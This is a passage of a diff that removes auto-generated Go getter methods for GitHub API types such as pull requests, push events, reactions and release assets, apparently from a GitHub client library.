it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateOptions) GetExpectedHeadSHA() string { - if p == nil || p.ExpectedHeadSHA == nil { - return "" - } - return *p.ExpectedHeadSHA -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateResponse) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestBranchUpdateResponse) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetAuthorAssociation() string { - if p == nil || p.AuthorAssociation == nil { - return "" - } - return *p.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetCreatedAt() time.Time { - if p == nil || p.CreatedAt == nil { - return time.Time{} - } - return *p.CreatedAt -} - -// GetDiffHunk returns the DiffHunk field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetDiffHunk() string { - if p == nil || p.DiffHunk == nil { - return "" - } - return *p.DiffHunk -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetInReplyTo returns the InReplyTo field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetInReplyTo() int64 { - if p == nil || p.InReplyTo == nil { - return 0 - } - return *p.InReplyTo -} - -// GetLine returns the Line field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetLine() int { - if p == nil || p.Line == nil { - return 0 - } - return *p.Line -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetOriginalCommitID returns the OriginalCommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalCommitID() string { - if p == nil || p.OriginalCommitID == nil { - return "" - } - return *p.OriginalCommitID -} - -// GetOriginalLine returns the OriginalLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalLine() int { - if p == nil || p.OriginalLine == nil { - return 0 - } - return *p.OriginalLine -} - -// GetOriginalPosition returns the OriginalPosition field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalPosition() int { - if p == nil || p.OriginalPosition == nil { - return 0 - } - return *p.OriginalPosition -} - -// GetOriginalStartLine returns the OriginalStartLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetOriginalStartLine() int { - if p == nil || p.OriginalStartLine == nil { - return 0 - } - return *p.OriginalStartLine -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPath() string { - if p == nil || p.Path == nil { - return "" - } - return *p.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPosition() int { - if p == nil || p.Position == nil { - return 0 - } - return *p.Position -} - -// GetPullRequestReviewID returns the PullRequestReviewID field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPullRequestReviewID() int64 { - if p == nil || p.PullRequestReviewID == nil { - return 0 - } - return *p.PullRequestReviewID -} - -// GetPullRequestURL returns the PullRequestURL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetPullRequestURL() string { - if p == nil || p.PullRequestURL == nil { - return "" - } - return *p.PullRequestURL -} - -// GetReactions returns the Reactions field. -func (p *PullRequestComment) GetReactions() *Reactions { - if p == nil { - return nil - } - return p.Reactions -} - -// GetSide returns the Side field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetSide() string { - if p == nil || p.Side == nil { - return "" - } - return *p.Side -} - -// GetStartLine returns the StartLine field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetStartLine() int { - if p == nil || p.StartLine == nil { - return 0 - } - return *p.StartLine -} - -// GetStartSide returns the StartSide field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetStartSide() string { - if p == nil || p.StartSide == nil { - return "" - } - return *p.StartSide -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetUpdatedAt() time.Time { - if p == nil || p.UpdatedAt == nil { - return time.Time{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestComment) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetUser returns the User field. -func (p *PullRequestComment) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAfter returns the After field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetAfter() string { - if p == nil || p.After == nil { - return "" - } - return *p.After -} - -// GetAssignee returns the Assignee field. -func (p *PullRequestEvent) GetAssignee() *User { - if p == nil { - return nil - } - return p.Assignee -} - -// GetBefore returns the Before field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetBefore() string { - if p == nil || p.Before == nil { - return "" - } - return *p.Before -} - -// GetChanges returns the Changes field. -func (p *PullRequestEvent) GetChanges() *EditChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *PullRequestEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetLabel returns the Label field. -func (p *PullRequestEvent) GetLabel() *Label { - if p == nil { - return nil - } - return p.Label -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *PullRequestEvent) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetOrganization returns the Organization field. -func (p *PullRequestEvent) GetOrganization() *Organization { - if p == nil { - return nil - } - return p.Organization -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetRequestedReviewer returns the RequestedReviewer field. -func (p *PullRequestEvent) GetRequestedReviewer() *User { - if p == nil { - return nil - } - return p.RequestedReviewer -} - -// GetRequestedTeam returns the RequestedTeam field. -func (p *PullRequestEvent) GetRequestedTeam() *Team { - if p == nil { - return nil - } - return p.RequestedTeam -} - -// GetSender returns the Sender field. -func (p *PullRequestEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetDiffURL() string { - if p == nil || p.DiffURL == nil { - return "" - } - return *p.DiffURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetPatchURL() string { - if p == nil || p.PatchURL == nil { - return "" - } - return *p.PatchURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PullRequestLinks) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetMerged returns the Merged field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetMerged() bool { - if p == nil || p.Merged == nil { - return false - } - return *p.Merged -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *PullRequestMergeResult) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetAuthorAssociation() string { - if p == nil || p.AuthorAssociation == nil { - return "" - } - return *p.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetPullRequestURL returns the PullRequestURL field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetPullRequestURL() string { - if p == nil || p.PullRequestURL == nil { - return "" - } - return *p.PullRequestURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetSubmittedAt returns the SubmittedAt field if it's non-nil, zero value otherwise. -func (p *PullRequestReview) GetSubmittedAt() time.Time { - if p == nil || p.SubmittedAt == nil { - return time.Time{} - } - return *p.SubmittedAt -} - -// GetUser returns the User field. -func (p *PullRequestReview) GetUser() *User { - if p == nil { - return nil - } - return p.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewCommentEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetChanges returns the Changes field. -func (p *PullRequestReviewCommentEvent) GetChanges() *EditChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetComment returns the Comment field. -func (p *PullRequestReviewCommentEvent) GetComment() *PullRequestComment { - if p == nil { - return nil - } - return p.Comment -} - -// GetInstallation returns the Installation field. -func (p *PullRequestReviewCommentEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestReviewCommentEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestReviewCommentEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PullRequestReviewCommentEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewDismissalRequest) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetInstallation returns the Installation field. -func (p *PullRequestReviewEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrganization returns the Organization field. -func (p *PullRequestReviewEvent) GetOrganization() *Organization { - if p == nil { - return nil - } - return p.Organization -} - -// GetPullRequest returns the PullRequest field. -func (p *PullRequestReviewEvent) GetPullRequest() *PullRequest { - if p == nil { - return nil - } - return p.PullRequest -} - -// GetRepo returns the Repo field. -func (p *PullRequestReviewEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetReview returns the Review field. -func (p *PullRequestReviewEvent) GetReview() *PullRequestReview { - if p == nil { - return nil - } - return p.Review -} - -// GetSender returns the Sender field. -func (p *PullRequestReviewEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetCommitID() string { - if p == nil || p.CommitID == nil { - return "" - } - return *p.CommitID -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetEvent() string { - if p == nil || p.Event == nil { - return "" - } - return *p.Event -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewRequest) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetDismissalRestrictions returns the DismissalRestrictions field. -func (p *PullRequestReviewsEnforcement) GetDismissalRestrictions() *DismissalRestrictions { - if p == nil { - return nil - } - return p.DismissalRestrictions -} - -// GetDismissalRestrictionsRequest returns the DismissalRestrictionsRequest field. -func (p *PullRequestReviewsEnforcementRequest) GetDismissalRestrictionsRequest() *DismissalRestrictionsRequest { - if p == nil { - return nil - } - return p.DismissalRestrictionsRequest -} - -// GetDismissalRestrictionsRequest returns the DismissalRestrictionsRequest field. -func (p *PullRequestReviewsEnforcementUpdate) GetDismissalRestrictionsRequest() *DismissalRestrictionsRequest { - if p == nil { - return nil - } - return p.DismissalRestrictionsRequest -} - -// GetDismissStaleReviews returns the DismissStaleReviews field if it's non-nil, zero value otherwise. -func (p *PullRequestReviewsEnforcementUpdate) GetDismissStaleReviews() bool { - if p == nil || p.DismissStaleReviews == nil { - return false - } - return *p.DismissStaleReviews -} - -// GetMergablePulls returns the MergablePulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetMergablePulls() int { - if p == nil || p.MergablePulls == nil { - return 0 - } - return *p.MergablePulls -} - -// GetMergedPulls returns the MergedPulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetMergedPulls() int { - if p == nil || p.MergedPulls == nil { - return 0 - } - return *p.MergedPulls -} - -// GetTotalPulls returns the TotalPulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetTotalPulls() int { - if p == nil || p.TotalPulls == nil { - return 0 - } - return *p.TotalPulls -} - -// GetUnmergablePulls returns the UnmergablePulls field if it's non-nil, zero value otherwise. -func (p *PullStats) GetUnmergablePulls() int { - if p == nil || p.UnmergablePulls == nil { - return 0 - } - return *p.UnmergablePulls -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetCommits() int { - if p == nil || p.Commits == nil { - return 0 - } - return *p.Commits -} - -// GetDay returns the Day field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetDay() int { - if p == nil || p.Day == nil { - return 0 - } - return *p.Day -} - -// GetHour returns the Hour field if it's non-nil, zero value otherwise. -func (p *PunchCard) GetHour() int { - if p == nil || p.Hour == nil { - return 0 - } - return *p.Hour -} - -// GetAfter returns the After field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetAfter() string { - if p == nil || p.After == nil { - return "" - } - return *p.After -} - -// GetBaseRef returns the BaseRef field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetBaseRef() string { - if p == nil || p.BaseRef == nil { - return "" - } - return *p.BaseRef -} - -// GetBefore returns the Before field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetBefore() string { - if p == nil || p.Before == nil { - return "" - } - return *p.Before -} - -// GetCompare returns the Compare field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetCompare() string { - if p == nil || p.Compare == nil { - return "" - } - return *p.Compare -} - -// GetCreated returns the Created field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetCreated() bool { - if p == nil || p.Created == nil { - return false - } - return *p.Created -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetDeleted() bool { - if p == nil || p.Deleted == nil { - return false - } - return *p.Deleted -} - -// GetDistinctSize returns the DistinctSize field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetDistinctSize() int { - if p == nil || p.DistinctSize == nil { - return 0 - } - return *p.DistinctSize -} - -// GetForced returns the Forced field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetForced() bool { - if p == nil || p.Forced == nil { - return false - } - return *p.Forced -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetHead() string { - if p == nil || p.Head == nil { - return "" - } - return *p.Head -} - -// GetHeadCommit returns the HeadCommit field. -func (p *PushEvent) GetHeadCommit() *HeadCommit { - if p == nil { - return nil - } - return p.HeadCommit -} - -// GetInstallation returns the Installation field. -func (p *PushEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetPusher returns the Pusher field. -func (p *PushEvent) GetPusher() *User { - if p == nil { - return nil - } - return p.Pusher -} - -// GetPushID returns the PushID field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetPushID() int64 { - if p == nil || p.PushID == nil { - return 0 - } - return *p.PushID -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetRef() string { - if p == nil || p.Ref == nil { - return "" - } - return *p.Ref -} - -// GetRepo returns the Repo field. -func (p *PushEvent) GetRepo() *PushEventRepository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PushEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (p *PushEvent) GetSize() int { - if p == nil || p.Size == nil { - return 0 - } - return *p.Size -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (p *PushEventRepoOwner) GetEmail() string { - if p == nil || p.Email == nil { - return "" - } - return *p.Email -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PushEventRepoOwner) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetArchived() bool { - if p == nil || p.Archived == nil { - return false - } - return *p.Archived -} - -// GetArchiveURL returns the ArchiveURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetArchiveURL() string { - if p == nil || p.ArchiveURL == nil { - return "" - } - return *p.ArchiveURL -} - -// GetCloneURL returns the CloneURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetCloneURL() string { - if p == nil || p.CloneURL == nil { - return "" - } - return *p.CloneURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetDefaultBranch() string { - if p == nil || p.DefaultBranch == nil { - return "" - } - return *p.DefaultBranch -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetDescription() string { - if p == nil || p.Description == nil { - return "" - } - return *p.Description -} - -// GetDisabled returns the Disabled field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetDisabled() bool { - if p == nil || p.Disabled == nil { - return false - } - return *p.Disabled -} - -// GetFork returns the Fork field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetFork() bool { - if p == nil || p.Fork == nil { - return false - } - return *p.Fork -} - -// GetForksCount returns the ForksCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetForksCount() int { - if p == nil || p.ForksCount == nil { - return 0 - } - return *p.ForksCount -} - -// GetFullName returns the FullName field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetFullName() string { - if p == nil || p.FullName == nil { - return "" - } - return *p.FullName -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetGitURL() string { - if p == nil || p.GitURL == nil { - return "" - } - return *p.GitURL -} - -// GetHasDownloads returns the HasDownloads field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasDownloads() bool { - if p == nil || p.HasDownloads == nil { - return false - } - return *p.HasDownloads -} - -// GetHasIssues returns the HasIssues field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasIssues() bool { - if p == nil || p.HasIssues == nil { - return false - } - return *p.HasIssues -} - -// GetHasPages returns the HasPages field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasPages() bool { - if p == nil || p.HasPages == nil { - return false - } - return *p.HasPages -} - -// GetHasWiki returns the HasWiki field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHasWiki() bool { - if p == nil || p.HasWiki == nil { - return false - } - return *p.HasWiki -} - -// GetHomepage returns the Homepage field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHomepage() string { - if p == nil || p.Homepage == nil { - return "" - } - return *p.Homepage -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetLanguage() string { - if p == nil || p.Language == nil { - return "" - } - return *p.Language -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetMasterBranch() string { - if p == nil || p.MasterBranch == nil { - return "" - } - return *p.MasterBranch -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetOpenIssuesCount returns the OpenIssuesCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetOpenIssuesCount() int { - if p == nil || p.OpenIssuesCount == nil { - return 0 - } - return *p.OpenIssuesCount -} - -// GetOrganization returns the Organization field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetOrganization() string { - if p == nil || p.Organization == nil { - return "" - } - return *p.Organization -} - -// GetOwner returns the Owner field. -func (p *PushEventRepository) GetOwner() *User { - if p == nil { - return nil - } - return p.Owner -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPrivate() bool { - if p == nil || p.Private == nil { - return false - } - return *p.Private -} - -// GetPullsURL returns the PullsURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPullsURL() string { - if p == nil || p.PullsURL == nil { - return "" - } - return *p.PullsURL -} - -// GetPushedAt returns the PushedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetPushedAt() Timestamp { - if p == nil || p.PushedAt == nil { - return Timestamp{} - } - return *p.PushedAt -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSize() int { - if p == nil || p.Size == nil { - return 0 - } - return *p.Size -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSSHURL() string { - if p == nil || p.SSHURL == nil { - return "" - } - return *p.SSHURL -} - -// GetStargazersCount returns the StargazersCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetStargazersCount() int { - if p == nil || p.StargazersCount == nil { - return 0 - } - return *p.StargazersCount -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetStatusesURL() string { - if p == nil || p.StatusesURL == nil { - return "" - } - return *p.StatusesURL -} - -// GetSVNURL returns the SVNURL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetSVNURL() string { - if p == nil || p.SVNURL == nil { - return "" - } - return *p.SVNURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetWatchersCount returns the WatchersCount field if it's non-nil, zero value otherwise. -func (p *PushEventRepository) GetWatchersCount() int { - if p == nil || p.WatchersCount == nil { - return 0 - } - return *p.WatchersCount -} - -// GetCore returns the Core field. -func (r *RateLimits) GetCore() *Rate { - if r == nil { - return nil - } - return r.Core -} - -// GetSearch returns the Search field. -func (r *RateLimits) GetSearch() *Rate { - if r == nil { - return nil - } - return r.Search -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (r *Reaction) GetContent() string { - if r == nil || r.Content == nil { - return "" - } - return *r.Content -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *Reaction) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Reaction) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetUser returns the User field. -func (r *Reaction) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetConfused returns the Confused field if it's non-nil, zero value otherwise. -func (r *Reactions) GetConfused() int { - if r == nil || r.Confused == nil { - return 0 - } - return *r.Confused -} - -// GetHeart returns the Heart field if it's non-nil, zero value otherwise. -func (r *Reactions) GetHeart() int { - if r == nil || r.Heart == nil { - return 0 - } - return *r.Heart -} - -// GetHooray returns the Hooray field if it's non-nil, zero value otherwise. -func (r *Reactions) GetHooray() int { - if r == nil || r.Hooray == nil { - return 0 - } - return *r.Hooray -} - -// GetLaugh returns the Laugh field if it's non-nil, zero value otherwise. -func (r *Reactions) GetLaugh() int { - if r == nil || r.Laugh == nil { - return 0 - } - return *r.Laugh -} - -// GetMinusOne returns the MinusOne field if it's non-nil, zero value otherwise. -func (r *Reactions) GetMinusOne() int { - if r == nil || r.MinusOne == nil { - return 0 - } - return *r.MinusOne -} - -// GetPlusOne returns the PlusOne field if it's non-nil, zero value otherwise. -func (r *Reactions) GetPlusOne() int { - if r == nil || r.PlusOne == nil { - return 0 - } - return *r.PlusOne -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (r *Reactions) GetTotalCount() int { - if r == nil || r.TotalCount == nil { - return 0 - } - return *r.TotalCount -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Reactions) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Reference) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetObject returns the Object field. -func (r *Reference) GetObject() *GitObject { - if r == nil { - return nil - } - return r.Object -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (r *Reference) GetRef() string { - if r == nil || r.Ref == nil { - return "" - } - return *r.Ref -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Reference) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (r *RegistrationToken) GetExpiresAt() Timestamp { - if r == nil || r.ExpiresAt == nil { - return Timestamp{} - } - return *r.ExpiresAt -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (r *RegistrationToken) GetToken() string { - if r == nil || r.Token == nil { - return "" - } - return *r.Token -} - -// GetBrowserDownloadURL returns the BrowserDownloadURL field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetBrowserDownloadURL() string { - if r == nil || r.BrowserDownloadURL == nil { - return "" - } - return *r.BrowserDownloadURL -} - -// GetContentType returns the ContentType field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetContentType() string { - if r == nil || r.ContentType == nil { - return "" - } - return *r.ContentType -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDownloadCount returns the DownloadCount field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetDownloadCount() int { - if r == nil || r.DownloadCount == nil { - return 0 - } - return *r.DownloadCount -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetLabel returns the Label field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetLabel() string { - if r == nil || r.Label == nil { - return "" - } - return *r.Label -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetState() string { - if r == nil || r.State == nil { - return "" - } - return *r.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetUpdatedAt() Timestamp { - if r == nil || r.UpdatedAt == nil { - return Timestamp{} 